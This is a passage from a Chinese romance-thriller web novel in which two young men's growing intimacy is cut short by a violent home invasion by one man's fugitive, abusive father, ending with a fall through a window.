“警察已经在抓他了,”樊均看着手里的鸡架,“他跑不了多久了。” “嗯。”邹飏点了点头。 “忘煮点儿米饭了。”樊均突然说。 “不吃了呗。”邹飏靠着沙发,也拿了个鸡架啃着。 “那个蒸饺,你想吃吗?”樊均问。 “不吃了,他家又没外卖,还跑去买吗?”邹飏说。 “有我……早上吃剩的。”樊均说。 邹飏没忍住笑出了声音:“你要不要说这么清楚?” “我不说清楚你也会问的啊,”樊均笑着说,“哪来的,早上吃剩的……吃吗?我给你热一下。” “你是咬一口剩半拉吗?”邹飏问。 “我神经病吗,小白都不这么吃。”樊均说。 “那我吃。”邹飏点头。 樊均拿了个蒸蛋器放到小桌上,从冰箱里拿了蒸饺在蒸盘上码好,又在地上摸了摸,找到地插。 “为什么要在这儿蒸?”邹飏问。 “一会儿它冒热气儿了,就有种吃火锅的错觉。”樊均说。 “这么一大桌肉都满足不了你吗,还想着火锅。”邹飏说。 “气氛嘛。”樊均笑笑。 “这个算一样吧。”邹飏看着他。 “什么?”樊均愣了愣。 “为什么……喜欢你。”邹飏说。 也许是有了前面的铺垫,这次“喜欢你”三个字说出来的时候,感觉顺畅了很多,不再有那么多的尴尬和试探。 喜欢你。 喜欢你。 喜欢你。 喜欢樊均。 樊均没说话,拿起蒸蛋器的盖子,看了看蒸饺,又重新盖好了。 “透明的盖子,还要拿起来看里头吗?”邹飏说。 樊均闭了闭眼睛,转过头看着他:“你是不是故意的。” “嗯。”邹飏笑着点了点头。 樊均啧了一声,坐了回来。 蒸饺很快热好了,邹飏本来觉得自己不吃主食也行,但闻到蒸饺的香味时,还是突然就很饿。 “这个蒸饺可不能倒闭,”邹飏打开盖子,夹了两个到自己碗里,“我前几天外卖点了三次蒸饺,都不好吃。” “蒸饺那个店,也在拆迁的线里头,”樊均说,“早晚也是要没的。” 邹飏叹了口气:“我看商场一楼那个奶茶店没了啊?” “嗯,之前就说撑不住了。”樊均说。 “商场拆吗?”邹飏问。 “不拆,”樊均想了想,“没准儿拆了以后能把商场那边带起来。” “那会儿你都不住这儿了,”邹飏看了看窗外,“你之后是不是得去新场地那边儿租房子?” “吕泽已经租了一套……”樊均说。 “你跟他住啊?”邹飏一下坐直了。 “没没没,”樊均赶紧说,“我意思是他租了一套了,我让他帮我打听着看有没有合适的……” “哦。”邹飏应了一声,莫名其妙突然有点儿想脸红,赶紧又打开蒸蛋器夹了一个蒸饺,用蒸汽掩护了一下自己。 因为喝酒,这顿饭他俩吃了很长时间,不知道是不是为了缓解尴尬,樊均打开投影,放了个电影播着。 大部分时间里,他俩其实都没太说话,但也没怎么看电影,只是安静地吃,偶尔磕个罐儿,电影放完了邹飏都不知道这片子讲的是什么。 樊均收拾了碗进了厨房,邹飏已经不是瘸子了,所以起身把小桌子收了,也跟进了厨房。 樊均正低头洗碗,动作很利索。 邹飏盯着他的背影看了一会儿,咬牙转身回到了客厅,怕再多杵那儿一秒,他会过去搂住樊均。 “我要去遛狗,”樊均洗完碗从厨房出来,“你……” “好,我也去。”邹飏站了起来。 “我意思是……”樊均犹豫了一下,“走吧,一块儿。” 刚过十点,四周已经很静了,没有了行人,只有一排排亮着灯的窗户里时不时传来笑声或者骂孩子的怒吼声。 邹飏跟樊均并排往旧馆那边儿走。 平时他俩也总这么走。 但今天不知道为什么,邹飏的胳膊总能碰到樊均的胳膊……也许平时也能碰到,只是没有注意。 但也可能就是今天,他距离樊均比平时要近。 “一会儿去哪儿遛狗?”邹飏问。 “商场那边儿,亮一些,”樊均也没有再回避自己的恐惧,“有什么人我看得清,这边儿太黑了,我是既看不清也听不清。” “有我呢。”邹飏说。 “你……”樊均转头看着他,“要真有什么事儿,你得跑。” “那多不仗义。”邹飏撇了撇嘴。 “你跑,”樊均又重复了一遍,“听到了没?” “哎,听到了,我跑,跑跑跑,”邹飏说,“然后报警。” “嗯。”樊均点点头。 邹飏听得有些感动,又有些难过。 胳膊再次碰到樊均时,他很快地抓住了樊均的手。 樊均下意识地缩了缩手,但并没有抽走,走了几步之后,他回手握住邹飏的手,轻轻捏了捏。 他们还在院子外面的时候,小白就叫了起来。 樊均一边掏钥匙一边吹了声口哨,小白立马停下了。 打开院门,小白往邹飏身上扑过来的时候,邹飏差点儿没看到它在哪儿,哈哧声扑了他一脸,他咬牙忍住了才没转身就跑。 “白!”樊均低声制止。 小白过去贴在他腿边坐好了。 这种吃完饭了出来遛狗散步的事儿,邹飏的记忆里几乎没有,以前最多是吃完饭了跟刘文瑞出去转悠几圈儿。 很舒服,这会儿的夜风已经不算太凉爽了,但还是吹得人很舒服。 顺着商场那边绕了几圈,回到居民区这边儿的时候,樊均又回头往黑暗的小街看了两眼。 “有人吗?”邹飏低声问,他依旧是没看到什么可疑的人,确切说,他都没看到人。 “没看到,”樊均说,“只是……感觉。” “那快点儿回去吧,”邹飏说,“至少空间小,安全点儿。” “嗯。”樊均笑了笑。 平时大部分时间里,小白都在旧馆的狗窝过夜。 今天樊均把小白带了回来。 “我还是……睡沙发吧。”邹飏说。 “嗯,”樊均应了一声,“你……洗澡吗?上回的衣服洗好了还没给你。” 邹飏瞬间回想起了自己搭在浴帘架上被樊均拿走的衣服和……内裤。 “洗。”他说。 樊均把衣服拿给他之后,他飞快地一抓,进了浴室,生怕晚一步脸就能把头发点着了。 洗完澡出来之前,他还在门边听了听。 也不知道为什么,跟做贼似的。 不过客厅很安静。 推开门出来,邹飏发现樊均坐在地毯上,靠着沙发睡着了。 小白趴在他身边,看到邹飏出来哼唧了一声就要站起来。 “嘘!”邹飏赶紧竖起食指,“不动。” 小白哼唧了一声又趴了回去。 樊均手边有两个啤酒罐,邹飏小心地走过去拿起来晃了晃,空了。 应该是刚坐这儿的时候喝的。 今儿晚上他俩喝了不少,冰箱都喝空了。 看来樊均最近的确是睡不好,就靠这玩意儿。 邹飏站在他面前,犹豫着是要叫醒他回床上去睡,还是就让他这么睡。 吵醒了还能睡着吗? 就这么个姿势会不会睡到半夜又醒了啊? 樊均睡相还挺好的啊。 挺……性感的。 邹飏? 醒醒。 一直杵到自己都困得有些晕了,小白作为一个狗,眼神里都流露出了莫名其妙了,他才终于关掉了客厅的灯,轻手轻脚地躺到了沙发上。 樊均的脑袋就在他手边,他一抬手就能摸到樊均的脸。 他就这么笔直地躺在沙发上,听着樊均的呼吸。 他大爷的睡意全无。 一直挺到小白都打呼噜了,他笔直的背都有些酸了,他才实在忍不住,偏过头,轻轻地喊了一声:“樊均?” 樊均没动。 一个喝了酒睡着了的听障,自然是听不见的。 “均儿?”他又很轻地喊了一声。 可能声音太低了,狗都没醒。 邹飏小心地抬起手,借着窗帘缝透进来的月光,他能看到樊均仰着头的侧脸,鼻梁,嘴,下巴,脖子…… 他的手小心地伸了过去,指尖很轻地落在了樊均的唇上。 还没有摸到那个疤,樊均就动了。 没来得及有任何反应,樊均已经一把抓住了他的手。 “我操?”邹飏震惊得都顾不上尴尬了,“你是不是没睡着?” “嗯。”樊均应了一声。 “你……”邹飏一时之间不知道该如何解释自己多少沾点儿耍流氓的行为了。 但下一秒,樊均抓着他的手,轻轻按在了自己唇上。 这一瞬间,掌心里全是温热的柔软。 第53章 邹飏的手有些凉,带着很细微的颤抖。 樊均的唇和手从未有过的敏感。 能同时感知到邹飏细腻的掌心,和手背上分明的掌骨。 还有在他拇指之下跳动着邹飏的脉搏。 他的呼吸在唇边和邹飏的心跳之间冲撞,带出滚烫的温度。 也许几秒,也许几分钟,他突然对时间失去了最基本的判断……直到眼睛和耳朵都被烧得发烫,他才猛地松开了邹飏的手。 邹飏的手在空中微微停顿之后也猛地收了回去。 “我去洗澡。”樊均站了起来,走进了卧室。 邹飏一直没出声,他也没敢回头看看,从衣柜里拿了睡衣就往浴室走。 “帮我拿瓶冰水,”邹飏说,“渴死了。” “矿泉水还是饮料?”樊均过去打开了冰箱。 “矿泉水。”邹飏说。 樊均拿了瓶矿泉水,顺手拧松了盖子,走到沙发边递了过去,很快地往邹飏脸上扫了一眼。 什么也没看清,屋里没开灯,还拉着窗帘。 “还要什么吗?”他问。 “不用了。”邹飏灌了两口水。 “别躺着喝,”樊均转身往浴室走,“一会儿呛着。” “嗯。”邹飏应了一声。 关上浴室门,拉上浴帘,樊均往墙上一靠,闭上眼睛长长地舒出一口气来。 脑子里一片混乱。 他不是什么也不懂的小孩儿。 但二十四年的人生里,无论是什么样的感情,他都只是个看客。 看,听,路过。 不记得。 这是第一次,亲自体会这样的感情。 邹飏就那么扛着大刀一路劈了过来,他甚至没来得及静下心来思考,什么如果但是为什么,就已经全都被劈成了渣。 晕头转向。 他伸手打开了花洒,凉水扑了一脸一身。 好一会儿他才发现自己还没脱衣服。 脱了衣服重新打开花洒,他撑着墙闭上眼睛,憋气让凉水兜头浇着,很长时间才缓缓地长舒出一口气。 回到客厅的时候,邹飏还没睡,垂在沙发旁的手正一下下转着矿泉水瓶子。 “不困吗?”樊均问了一句。 “困,”邹飏转脸看向他,“你一会儿能睡得着吗?” “应该能,”樊均走回卧室,从柜子里拿了床小被子,走到沙发旁边放到了邹飏身上,“人可能不困,但是脑子困了。” 邹飏抓着小被子抖了抖:“我不用盖东西。” “空调开着呢,”樊均说,“睡着了会着凉,盖着点儿肚脐眼儿。” “靠,”邹飏笑了起来,“怎么跟我妈一样。” “我妈就总这么说。”樊均也笑笑。 转身走到卧室门边的时候,邹飏在黑暗里又说了一句:“你要是晚上睡不着,可以叫醒我。” “嗯,”樊均应了一声,“晚安。” “晚安。” 睡不着。 还憋着一肚子啤酒。 平时晚上他也会喝,为了能有点儿睡意,不用醉,稍微有点儿迷糊就行,但也都不是喝完直接就往床上倒,至少得上几轮厕所…… 今天晚上卧室的门他没有关,躺在床上这个角度,正好借着窗帘缝透进来的微弱月光,看到沙发上邹飏的腿。 睡不着。 他干脆枕着胳膊静静地看着沙发上时不时会动一下的腿。 好在邹飏是个没有任何睡眠问题的大学生,入睡是他的强项。 估计没到十五分钟,邹飏就不动了,安静地躺着。 大黑踩着他的腿跳上沙发靠背,他都没有动。 樊均轻手轻脚地起身,穿过客厅,去上了个厕所。 客厅的窗户看出去,是五楼的平台,从厕所的窗户看出去,能看到楼下的空地。 月光很亮,空地上树和楼的影子清晰可见,分明的对比,盯着看的时间长了,会有种烈日下的错觉,如同胶片过曝了的刺眼的窒息感。 楼下没有什么可疑的人,但他的不安比平时都更强烈。 回到卧室躺下,他在黑暗中看着客厅沙发上安静睡着的邹飏。 唇上还有邹飏掌心里的温度,带着微凉的暖意。 他闭上眼睛,放缓呼吸,放空脑子。 …… 小白睡在床边的日子,樊均基本都不会超过七点半醒。 小白不会像有些狗那样,咬手扯被子甚至上床踩人,但它会在床边坐着,急切的哼唧声是控制不住的。 樊均总觉得它是知道主人左耳听不清的,所以每次都会绕到床的右边。 “哎……”樊均翻了个躺,手伸到床边晃了晃。 小白的鼻头立马凑了过来,在他手上顶了两下。 “这里等。”樊均还是闭着眼睛,打了个手势,“不要出去。” 小白老实地趴到了地上。 邹飏还在睡,这人睡觉似乎不太规矩,上回把腿搭桌上,这回腿直接架到了沙发靠背上。 昨天给他的小被子已经被掀到了地上,眼镜也不知道是扔的还是掉的,反正跟被子一块儿在地毯上。 樊均过去把眼镜捡起来放到了桌上。 还说半夜要是睡不着可以叫醒他……睡个觉能睡得这么投入,谁忍心叫。 樊均洗漱完打开了房门,冲屋里的小白打了个手势,并且低声说:“慢。” 小白慢慢地从卧室里走出来,慢慢地走出了门外,看到他关门了,才开始激动地用前爪在地上来回跺着。 南舟坪是个早睡早起的地方,四点多街上就已经有人了,各种小货车和推车,送货的,出摊的。 七点的时候,整个南舟坪都已经进入了第一轮的混乱嘈杂。 樊均带着小白顺着小街慢慢跑着,看熟悉的街道,看熟悉的人。 脚步轻快。 手表上显示已经跑了差不多五公里,樊均去了早餐店聚点。 拎着一大兜吃的打开门的时候,邹飏还是那个四仰八叉的姿势睡在沙发上。 完全没有醒过或者要醒的意思。 樊均打开了客厅里光线不那么明亮的落地灯,把小白的碗拿到了卧室,给它放了粮,再把大黑的粮也加上了。 回到沙发旁边站着,家里俩动物,再怎么也会弄出不少动静,这要换了他早醒了,但邹飏还在睡。 樊均都怀疑他是不是在装睡了。 “邹飏?”樊均很低地叫了他一声。 没反应。 樊均还想再叫一声,但又犹豫了,之前他只觉得邹飏睡眠很好,倒头就着,但今天好像真是困了。 估计酒量也不怎么行…… 早上出门的时候他没好意思往邹飏脸上看,这会儿就站沙发边,基本从头到脚都看得清清楚楚了。 很帅,虽然睡相是真的差,甚至衣服都睡得乱七八糟露着一截肚皮。 樊均往他肚子那边看了一眼,又很快地收回了视线。 犹豫了一下,他拎起地上小被子的一角,很轻地放在了邹飏露出的肚皮上。 转身正要去厨房收拾早餐们,身后传来了邹飏的声音:“几点了?” “没到八点,”樊均说,“你可以再睡一会儿。” “嗯。”邹飏应了一声,声音里全是迷糊,“你刚是不是叫我了。” “……是,”樊均看着他,“以为你没听到呢。” “听到了,我爬雪山呢,”邹飏闭着眼睛,声音开始越来越含糊,“爬三步往下滑五步的……爬了一晚上到山脚了……然后你喊我……” 樊均忍着笑:“那你再爬一次?” “嗯……”邹飏应完之后就没了动静。 回笼觉一般都是睡得最实的。 樊均把摆盘好的早餐拿到小桌上,靠在沙发边慢慢吃完了,把给邹飏留的都盖好。 邹飏还在睡。 樊均看了一眼手机上的课程安排,今天十点他要去新新馆上课,这之前还得先去一趟旧馆,找个车把新馆更衣室里最后两个柜子拉走,然后新馆基本就可以闭馆了…… 他拿出纸笔,在桌上给邹飏留了个字条- 我去新新馆,醒了给我打电话 写好字条,他起身进卧室换了件T恤。 “去哪儿?”邹飏带着鼻音的声音在客厅响起。 “嗯?醒了?”樊均快步走了出来。 “早醒了,你吃东西的时候我一直能听到,就是不想睁眼睛……”邹飏打了个呵欠,又伸了个漫长的懒腰,最后胳膊一伸,拿走了小桌上的纸条,“我看看……” 纸条怼在眼前远远近近地调了半天才念了出来:“我去新……新馆,醒了给我打电话……喂?” 樊均愣了愣才反应过来,也接了一句:“喂?醒了?” “嗯,”邹飏笑了笑,“给我留早餐了没?” “桌上有,你看看。”樊均说。 “是蒸饺吗?”邹飏问。 “还有别的,怕你连着两顿会腻。”樊均笑笑。 “聪明,”邹飏说完坐了起来,“挂了啊。” “嗯。”樊均应了一声。 邹飏捂着脸搓了搓,拿过桌上的眼镜戴上,打开了早餐们的盖子。 蒸饺,油炸糕,烧麦,蛋堡,豆浆。 “你开店呢?”邹飏看笑了。 “不知道你想吃什么。”樊均走过来,坐到旁边。 “你不去新新馆了?”邹飏问。 “去。”樊均说。 “那你又坐这儿了?”邹飏看了他一眼,“再吃点儿?” “……嗯。”樊均点了点头。 “那你等我一会儿,”邹飏站了起来,“我洗漱。” “好。” 洗完脸,邹飏撑着洗脸池看着镜子里的自己。 一早上都迷迷糊糊的,这会儿洗完脸才算是清醒过来了。 脑子重新运转了,昨天晚上的记忆也回来了。 ……昨天晚上的记忆。 邹飏感觉自己脸上的表情有点儿变幻莫测,嘴角还似笑非笑的。 啧。 他赶紧低下头,又泼了点儿水到脸上。 什么丢人现眼的表情。 调整好状态,他回到客厅。 樊均拿了瓶咖啡正喝着。 “我也要。”邹飏说。 “我给你拿。”樊均说着就要起来。 手撑着地的时候,从领口能看到他因为用力而格外清晰的锁骨…… 邹飏赶紧往他肩上推了一下:“我自己,我站着呢。” “哎?”樊均被他这一把推得差点儿往后摔过去,“劲儿挺大?恢复不错啊。” “靠。”邹飏笑着过去打开冰箱,拿了瓶咖啡。 正想说话的时候,樊均的手机响了。 小白在旁边顶了樊均的手一下,提醒他。 “听到了……”樊均拿出手机,看了一眼脸色就变了变。 “谁?”邹飏立马凑过去看了一眼。 梁警官。 孙旭磊有消息了? 还是樊刚? “梁警官,”樊均接起了电话,“什么事……嗯,嗯……什么?有多严重?通知孙老五了吗?” 是孙旭磊。 邹飏松了口气。 但紧跟着又有些失望。 樊均说了几句就挂了电话。 “什么情况?”邹飏问。 “我去趟派出所,”樊均说,“孙旭磊找到了,已经不在咱们市了,伤得挺严重,是医院联系的这边儿派出所……” “受伤了?”邹飏愣了。 “嗯,现在刚醒,但是不肯说话,”樊均边说边站了起来,“梁警官意思是我过去一趟,跟他打个视频,看能不能问问情况,要安排人过去……” “要我跟你一块儿吗?”邹飏问。 “没事儿,你先吃,我先去看看,钥匙给你,你要出去就拿着点儿,”樊均说完又补了一句,“真没事儿,他只要没死,就已经是好消息了。” “嗯。”邹飏点了点头,“那我一会儿再睡会儿。” 樊均急急忙忙出了门。 邹飏坐回了桌边,拿起蛋堡咬了一口。 孙旭磊有消息,对于樊均来说是很重要的,悬在心里的事儿总算有一件落了地,只希望这小孩儿别是太严重的伤…… 吃完早点,邹飏回到沙发上又躺了一会儿,睡不着了。 他起身走到窗边,把窗帘掀开一角往外看着。 这个房子的窗景是真的很生活,就算不防什么,这窗帘估计也不会总拉开,外面全是别人家的窗户和阳台,一眼过去感觉能看到别人床上。 下面平台上也很热闹,一早就有人在晾衣服…… 在窗边看了一会儿,邹飏回头看了看樊均的卧室。 门开着,一眼能看清里面的布置,很简单,衣柜和床,一个小书架和一套书桌。 邹飏犹豫了几秒,走了进去。 然后拘束地站在了屋子正中间,有种做贼的心虚感。 好一会儿他才走到了书架前,一个二十一中毕业的散打教练,还看书呢…… 还真挺专业,全是运动相关的书。 不过最上面一层,放着一本小王子。 邹飏把书拿了下来,坐到了书桌前。 看了一会儿书,邹飏拿出手机扫了一眼,半个多小时,他居然觉得起码应该一个多小时了…… 拿过书又看了几页,他听到了门外有动静。 一直躺在猫窝旁边的小白也支起了脑袋。 “是你哥回来了吗?”邹飏放下书,快步走出卧室。 往走到门边的时候,他听到了门锁的声音。 他顿时停下了开门的动作。 樊均没带钥匙。 而且樊均如果办完了事儿肯定会马上给他打电话…… 贼? ……樊刚? 邹飏没有多想,马上伸手准备先把门反锁上。 但手刚伸到锁边,门就已经被打开了。 邹飏往后退的同时,已经打开的门又被人猛地撞了一下,以一种他根本闪避不及地速度拍了过来。 他甚至没来得及看清外面是什么人,门就重重砸在了他身上。 接着就是不知道什么东西砸在了他头上。 邹飏没有感觉到疼,只觉得一阵晕,眼前一片黑底儿金光混乱地闪过。 整个人不受控制地往后倒了下去。 最后看到的场景是小白猛地跃起…… 第54章 是樊刚。 虽然客厅里只开着昏暗的落地灯,但眼前这个人,不需要看清就已经能感觉到了。 他就是樊刚。 后脑勺磕在地板上时,邹飏感觉到了疼痛。 一阵短暂的金星四溅,剧烈的疼痛和小白的咆哮同时刺破了他脑子里的混乱。 邹飏来不及起身,躺在地上就对着眼前模糊的人影一脚蹬了过去。 樊刚被小白咬住了右臂,左手拿着什么东西正一下下往小白脑袋上砸着,小白的咆哮变成了哀鸣,但依旧死咬着没有松嘴,不断地用力甩头。 邹飏这一脚蹬在了樊刚腿上,他踉跄了一步,但手上的动作并没有停。 操你大爷! 邹飏咬牙撑了一下地,跳了起来,借着上冲的力量,胳膊肘猛地撞在了他喉咙上。 脑袋上的疼痛已始开始不间断地向全身辐射,但这一个肘击邹飏还是用了全力,樊刚被撞得猛地往后一仰,邹飏紧跟着俯身切肩,又撞在了他肋骨上。 樊刚砸向小白的动作终于停止。 但也就是在这时,邹飏才看清了,樊刚身后还有一个人。 ……他还有个同伙。 这人个子非常矮小,站在樊刚身后几乎被完全遮挡,这人几乎是从他腋下钻出来的,对着邹飏一胳膊挥了过来。 手上有刀。 邹飏来不及退开,只能直接往上一提膝,磕在了这人拿着刀的手腕上。 刀掉了,但拳头还在。 邹飏肚子上挨了重重一拳,顿时翻江倒海,而樊刚甩开了小白,带着血的右臂对着他再次砸了过来。 邹飏这回看清了他手里的东西。 樊刚居然有枪。 枪托砸在邹飏太阳穴上这一瞬间,他眼前一黑。 矮个儿同伙绕到了他身后,有什么细细的东西勒在了他脖子上。 黑暗里,邹飏切实地体会到了恐惧。 他对着樊刚的肘击和切肩,虽然腿不太受力,但也是用了全力的,一个普通人挨这么两下想再站着都很难。 但樊刚只是捂着喉咙憋红了脸。 而他给邹飏的这一枪托,就是奔着杀人去的。 “这事儿肯定不能让孙老五过去接人,”吕叔跟樊均一块儿往回走,叹着气,“伤成这样,孙老五也不会手软,见了面肯定又是打。” “嗯。”樊均应了一声。 刚跟孙旭磊那边视频,孙旭磊见了樊均只是哭,但就是不肯说话,暂时没法知道他到底碰上了什么事儿。 只知道他被人送到医院时是昏迷着被人扔在一个工地的建筑垃圾堆里,身上多处骨折,除了穿着的衣服,什么也没有,钱和手机都没了。 “我跟小梁和街道办的一块儿过去,”吕叔说,“这孩子……不知道回来之后能不能让他上我们这先住着……” 樊均转头看了吕叔一眼。 吕叔笑了笑:“我知道,他爹就在那儿呢,现在跟你当初那个情况也不一样,就是觉得这孩子可怜。” 樊均轻轻叹了口气,没说话,只是伸手搂了搂吕叔的肩。 “你俩吃早饭了没有?”走到楼下的时候吕叔问了一句,“要不要过去旧馆那儿吃?珊姐蒸包子了。” “你跟珊姐吃吧,”樊均笑了笑,“我们吃过了,邹飏这会儿估计又睡觉呢。” “行吧。”吕叔点点头,往旧馆那边去了。 樊均进了楼道,按下电梯按钮的时候他迅速站到电梯门一侧,回头往外看了一眼,没有人。 他走进电梯,不安的感觉还在增加。 他一时分不清是因为孙旭磊的事,还是因为别的什么。 不过电梯到了顶楼,门打开的时候。 樊均就知道是因为什么了。 开门的瞬间,他闻到楼道里有淡淡的生烟味儿。 他没有在南舟坪闻到过这种味道。 这种需要自己买了烟叶晾干切丝再卷起来抽的烟,他只见过樊刚抽。 而电梯门外的黑暗中,站着一个人。 这一瞬间,他身体里的血都凝固了。 邹飏。 邹飏还在屋里。 樊均站在电梯里,手抖得很厉害。 他听不到任何声音。 他屋里没有任何动静,樊刚什么时候来的,来了多久,邹飏现在是什么情况…… 他没有时间思考,手往裤兜摸了过去。 黑暗的楼道里突然亮了起来。 是他的房门打开了,屋里的光铺了出来。 照亮了黑暗中的人影。 “儿子,”人影往门口走过去,一个沙哑的声音传了过来,“出来。” 像一把带着尖钉的棒子,抡在了樊均头上,尖锐的耳鸣声扎透了他的身体。 樊均走出了电梯。 房门开着,门口站着那个他这辈子挥之不去的恶梦。 “长这么大了啊。”樊刚有些感慨地说了一句,逆着光的脸一片黑暗,看不到表情。 但樊均能想象得到。 十多年了,当樊刚再一次站在他面前时,那种极度的恐惧依然新鲜如当年,跟着他剧烈的心跳,被泵向身体的每一寸。 樊均在耳鸣声里强压着情绪,迅速看向屋里。 樊刚身后被他挡住的椅子上坐着一个人,只能看到腿,右脚踝上红绳穿着一个小金币。 “邹飏!”樊均喊了一声。 他几乎已经听不到自己的声音。 但樊刚的声音却还能从混乱中被剥离。 “嘘……别喊。”樊刚往屋里退了两步,冲他招了招手。 樊均看到了他手上拿着的东西。 一把看上去很粗劣的枪。 他没有了选择,转身逃跑,有可能逃掉。 但他能确定,接下去邹飏会面对什么。 他慢慢走进了屋子。 “关门。”樊刚说。 角落里走出来一个矮个儿男人,把樊均身后的房门关上,又在他身上搜了一遍,拿走了手机。 “别喊,别跑,”樊刚说,“咱爷俩儿叙叙旧。” 樊均没有出声。 矮个儿男人把手机放到地上,用手里的刀柄对着手机哐哐猛砸了几下。 “你他妈敢砸我儿子手机?”樊刚转头瞪着他。 矮个儿停了手,缩着脖子蹲在了原地。 这时屋里的情况已经一目了然。 门边的东西乱成一团,看得出来邹飏跟他俩动了手,但不是两个杀人在逃犯的对手。 邹飏被捆在桌边的椅子上,脸上衣服上都是血,脖子上勒着一根细铁丝,已经嵌入了皮肤,能看到渗出来的血迹,脚踝也被铁丝勒在椅子腿儿上。 樊均盯着邹飏的脸,手抖得厉害。 他没有办法。 他没有办法在这两个人动手给邹飏造成更大伤害之前放倒他们。 绝望包裹着他,几近窒息。 邹飏是清醒的,只是伤得很重,说话已经有些困难。 我没事儿。 邹飏嘴唇动了动。 樊均只感觉尖啸声里有什么东西把他的心脏生生撕开了。 “让他走。”樊均看向樊刚。 同时看到了倒在窗边的小白,脑袋下面一滩血,眼睛上也都是血,脖子上也勒着一根细铁丝,那头拴在了柜子腿儿上。 小白听到他声音时很低地呜了两声。 樊刚转头看了它一眼,走了过去,蹲下摸了摸小白的头:“别担心,我喜欢狗,不会杀它。” 小白挣扎着甩了甩头。 “让我朋友走,”樊均没有接他的话,“我留下陪你。” 樊刚笑了笑,起身走到了邹飏身边,抓着他的头发往后拽了拽,邹飏脖子上的勒痕里顿时渗出了更多的鲜血。 樊均牙咬得生疼。 “还挺仗义,”樊刚松开了邹飏,看着他,“就这么跟你爸爸说话的吗?” 樊均看着他。 这熟悉的语气,熟悉的台词,哪怕十几年没再听到过,响起的瞬间还是能把人拉回当年的深渊里。 樊均缓缓地弯下腰,对着樊刚跪了下去。 “让我朋友走,我留下来陪你。” 邹飏猛地挣扎了一下,但脖子和身上的疼痛让他的挣扎很难有什么作用。 樊均没敢转头往邹飏那边看,他不知道邹飏现在是什么心情,也不敢知道,他唯一的念头就是不管怎么样,保邹飏安全。 樊刚笑了起来,声音里全是满足。 “过来,儿子。”他把手里的枪递给了旁边的矮个儿。 矮个儿接过枪,退了一步,指着樊均:“捆起来吗?” “不捆。”樊刚说。 “捆起来。”矮个儿声音里透着兴奋。 “不捆。”樊刚说。 “他能打,”矮个儿手里的枪兴奋地颤动着,“捆起来好弄。” “说了不捆!”樊刚冲他吼了一嗓子,“这是我儿子!听懂了没!不是什么弄着玩的人!” 樊刚吼完又冲樊均笑了笑:“过来。” 樊均跪在地上,慢慢往他面前挪了过去,每一寸都裹着恐惧和愤怒。 “那先弄他,”矮个儿拿着枪又指向了邹飏,“警察肯定快来了,没有时间了,都是死,都得死。” “让他走吧,”樊均跪着挪到了樊刚面前,嗓子里像含着刀,每一句都疼,“爸。” 樊刚没说话,低头看着他。 樊均看不到他的脸,但知道这会儿他脸上一定带着慈爱的微笑,就像无数次出现在在恶梦里的那样。 下一秒樊刚拿过了桌上不知道从哪儿找出来的樊均的甩棍,直接回手甩在了樊均头上。 剧痛伴着啸鸣声。 樊均倒在了地上,尝到了嘴里的血腥味儿。 “你妈呢?”樊刚又是一棍子甩在了他胳膊上。 “死了。”樊均抬手,挡住了樊刚再次抽向他脑袋的一棍子,小臂上传来的疼痛提示着他手臂估计是骨折了。 “怎么死的?”樊刚跳起来对着他肚子就是一脚。 樊均团起了身体,慢慢翻身,护住腹部:“上吊。” “太惨了,她想用她的命换你的啊,这女人真是蠢透了,”樊刚说着又是一脚踢在了他左耳上,“太惨了,听说你左耳朵聋了?” “是。”樊均慢慢绷紧身体,忍着疼痛,用余光搜索着矮个儿的位置。 “为什么跑?”樊刚蹲下,凑近他右耳。 樊均没说话,喘着粗气。 “为什么跑!”樊刚突然吼了一声,手里的甩棍砸在了他身上,一下接着一下,“为什么跑!为什么跑!说了我回来就杀你!你为什么跑!” 樊均沉默着侧过头,一把抓住了不知道第多少次抡下来的甩棍,虎口瞬间被巨大的冲击撕裂。 “我不想死。” 樊刚没再说话,猛地抽出甩棍,走向了邹飏。 “别碰他!”樊均的声音几乎是从胸口里直接吼出来的。 他猛地跃起,扑过去一把锁住了樊刚的腿。 矮个儿冲过来对着他后脑勺用枪托连续地砸着。 樊刚没管他,拖着他又往前一步,扬手对着邹飏的胸口和肚子一通砸。 邹飏猛地弓起身体,脖子上被勒出的血滴不断滴在衣服上。 “你不想死?我告诉你,今天这屋里谁都活不了,能出去的都是死人,”樊刚说着把手里的甩棍递给了矮个儿,拿回了枪,“你老子也活够了,带你一块儿走就是我最后的愿望。” 樊均不再出声。 “本来想把老吕先收拾了,”樊刚擦了擦枪,从桌上拿了一个蒸饺放到嘴里吃着,“居然拐走我儿子……” 矮个儿接过甩棍,拿在手里一下下转着。 樊均手撑着地,偏过头盯着甩棍。 在矮个儿转到第四下的时候,樊均猛地跳起,一把抓住了甩棍。 从矮个儿手里把甩棍抽出来的同时,他对着矮个儿的喉咙砸了一下,矮个儿没能发出任何声音,捂着脖子瞪圆了眼睛。 没等他有下一个动作,樊均跳起来抓着他的胳膊猛地把他抡向了樊刚。 樊刚回头的时候矮个儿撞进了他怀里。 拿枪的手也被压在了矮个儿身前,樊均迅速放弃了夺枪的计划,对着矮个儿的脑袋又是几下。 这几下他用尽了全身力量。 矮个儿抱着樊刚慢慢瘫乱下去,樊刚挣扎着想从矮个儿的拥抱中把胳膊抽出来,但樊均掀起旁边的桌子对着他狠狠砸了下去。 紧跟着他就听到一声闷响。 樊刚开了枪。 隔着矮个儿的身体,对着樊均的方向。 樊均不知道这一枪打在了哪里,有没有打中他,他什么感觉都没有,听不清也看不清,眼前一片血红。 他冲到了邹飏身边,伸手抓住了捆在他手腕上的铁丝,猛地一拽。 铁丝切进了他的手指,也切进了邹飏手腕里。 他没有犹豫,又一使劲,铁丝被拉开了。 转过头的时候樊刚掀掉了身上的矮个儿,站了起来,手里的枪指向了邹飏。 “你去死。”樊均对着枪冲了过去。 枪响的同时,他抱一把抱住了樊刚,猛地撞向窗户。 玻璃发出了巨大的碎裂声,樊均死死箍住樊刚的胳膊,压着他翻出了窗外。 身体腾空时猛然出现的失重感让他在混乱中想起了游乐园。 耳边甚至能听到过山车出发时邹飏那声愉快的口哨声。 第55章 风在耳边疾速扫过。 扫掉了尖啸的耳鸣,也扫掉了脑子里所有的混沌…… 樊均听到了两人重重砸在五楼平台上时的闷响。 落地时强大的冲力,他能感觉到樊刚几乎像是要嵌进他身体的锋利的肋骨。 嘭的一声。 夹杂着些许碎裂。 像偶尔听到的有人从高层直接扔下的一大袋垃圾。 消失了的耳鸣让整个世界和疼痛一块儿同时回到了樊均的身体里。 四周能听到有人开窗查看的声音,还能听到惊恐的尖叫。 他趴在樊刚身上,大口喘着粗气,每一次呼吸中都带着血腥。 